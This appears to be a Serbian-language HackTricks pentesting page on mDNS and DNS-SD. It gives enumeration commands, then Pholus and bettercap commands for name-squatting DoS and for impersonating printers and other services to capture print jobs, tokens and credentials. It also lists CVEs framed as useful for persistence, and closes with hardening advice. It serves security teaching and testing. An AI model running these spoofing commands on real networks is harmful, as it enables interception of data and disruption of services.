5353/UDP Multicast DNS (mDNS) i DNS-SD
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Basic Information
Multicast DNS (mDNS) omogućava DNS-sličnu rezoluciju imena i otkrivanje servisa unutar lokalne veze bez unicast DNS servera. Koristi UDP/5353 i multikast adrese 224.0.0.251 (IPv4) i FF02::FB (IPv6). DNS Service Discovery (DNS-SD, obično korišćen sa mDNS) obezbeđuje standardizovan način za nabrajanje i opisivanje servisa putem PTR, SRV i TXT zapisa.
PORT STATE SERVICE
5353/udp open zeroconf
Ključni detalji protokola koje ćete često koristiti tokom napada:
- Imena u .local zoni se razrešavaju putem mDNS.
- QU (Query Unicast) bit može zatražiti unicast odgovore čak i za multicast upite.
- Implementacije bi trebalo da ignorišu pakete koji nisu iz lokalnog linka; neki stack-ovi ih i dalje prihvataju.
- Probing/announcing name enforcement zahteva jedinstvena host/service imena; mešanje ovde stvara DoS/“name squatting” uslove.
DNS-SD model servisa
Servisi se identifikuju kao _
Istraživanje mreže i enumeracija
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Savet: Neki browser-i/WebRTC koriste ephemere mDNS hostnames da bi maskirali lokalne IP-ove. Ako na mreži vidite random-UUID.local kandidate, razrešite ih preko mDNS da biste pivotirali na lokalne IP-ove.
Napadi
mDNS name probing interference (DoS / name squatting)
Tokom probing faze, host proverava jedinstvenost imena. Odgovaranje sa spoofed konfliktima prisiljava ga da izabere nova imena ili ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje servisa.
Primer sa Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Impersonate oglašene DNS-SD usluge (štampači, AirPlay, HTTP, servisi za deljenje fajlova) da primorate klijente da se povežu na vas. Ovo je naročito korisno da:
- Preuzmete dokumente spoofing-om _ipp._tcp ili _printer._tcp.
- Namamite klijente na HTTP/HTTPS servise kako biste prikupili tokens/cookies ili isporučili payloads.
- Kombinujete sa NTLM relay techniques kada Windows klijenti pregovaraju auth prema spoofed servisima.
Uz bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Pogledajte takođe generičke LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Napomene o nedavnim problemima u implementaciji (korisno za DoS/persistence tokom angažmana)
- Avahi reachable-assertion i D-Bus crash bagovi (2023) mogu prekinuti avahi-daemon na Linux distribucijama (npr. CVE-2023-38469..38473, CVE-2023-1981), ometajući service discovery na ciljnim hostovima dok se ne restartuje.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) omogućava susednim WLAN klijentima da preplave mrežu crafted mDNS porukama, opterećujući WLC CPU i rušeći AP tunel(e) — korisno ako treba prisiliti client roaming ili resetovanje kontrolera tokom angažmana.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) dozvoljava sandboxovanom lokalnom procesu da sruši Bonjour i kratko potisne publikaciju/lookup servisa na Apple endpoint-ima; zakrpljeno u aktuelnim iOS/macOS izdanjima.
- Apple mDNSResponder correctness issue (CVE-2025-31222) je omogućio local privilege escalation preko mDNSResponder-a; korisno za persistence na unmanaged Macs/iPhones, rešeno u nedavnim iOS/macOS ažuriranjima.
Browser/WebRTC mDNS razmatranja
Moderne verzije Chromium/Firefox obfuscate host candidates sa nasumičnim mDNS imenima. Možete ponovo otkriti LAN IP-ove na managed endpoint-ima tako što ćete push-ovati Chrome policy WebRtcLocalIpsAllowedUrls (ili uključiti/isključiti chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/ekvivalent u Edge) tako da ICE izlaže host candidates umesto mDNS; postavlja se preko HKLM\Software\Policies\Google\Chrome.
Kada korisnici ručno onemoguće ovu zaštitu (često u WebRTC troubleshooting vodičima), njihovi browser-i ponovo počinju da oglašavaju plain host candidates, koje možete uhvatiti putem mDNS ili ICE signaling-a da ubrzate otkrivanje hostova.
Odbrambena razmatranja i OPSEC
- Granice segmenata: Ne rutirajte 224.0.0.251/FF02::FB između security zona osim ako mDNS gateway nije eksplicitno potreban. Ako morate bridžovati discovery, preferirajte allowlists i rate limits.
- Windows endpoints/servers:
- Da biste hard-disablovali name resolution preko mDNS, podesite registry vrednost i restartujte:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- U managed environment-ima, onemogućite ugrađeno “mDNS (UDP-In)” Windows Defender Firewall pravilo (bar na Domain profilu) da biste sprečili inbound mDNS processing, a pri tom sačuvali home/roaming funkcionalnost.
- Na novijim Windows 11 build-ovima/GPO template-ima, koristite politiku “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” i podesite je na Disabled.
- Linux (Avahi):
- Zaključajte publikovanje kada nije potrebno: postavite
disable-publishing=yes, i ograničite interfejse pomoćuallow-interfaces=/deny-interfaces=u/etc/avahi/avahi-daemon.conf. - Razmotrite
check-response-ttl=yesi izbegavajteenable-reflector=yesosim ako je strogo neophodno; preferirajtereflect-filters=allowlists kada reflektujete. - macOS: Ograničite inbound mDNS na host/network firewall-ima kada Bonjour discovery nije potreban za specifične subnet-ove.
- Monitoring: Alarmirajte na neuobičajene skokove u
_services._dns-sd._udp.localupitima ili nagle promene u SRV/TXT zapisu kritičnih servisa; to su indikatori spoofinga ili impersonacije servisa.
Kratak pregled alata
- nmap NSE:
dns-service-discoveryibroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS i spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
Najzanimljiviji napad koji možete izvesti preko ovog servisa je MitM u komunikaciji između klijenta i stvarnog servera. Možda ćete moći da dobijete osetljive fajlove (MitM komunikacije sa printer-om) ili čak credentials (Windows authentication).
Za više informacija pogledajte:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


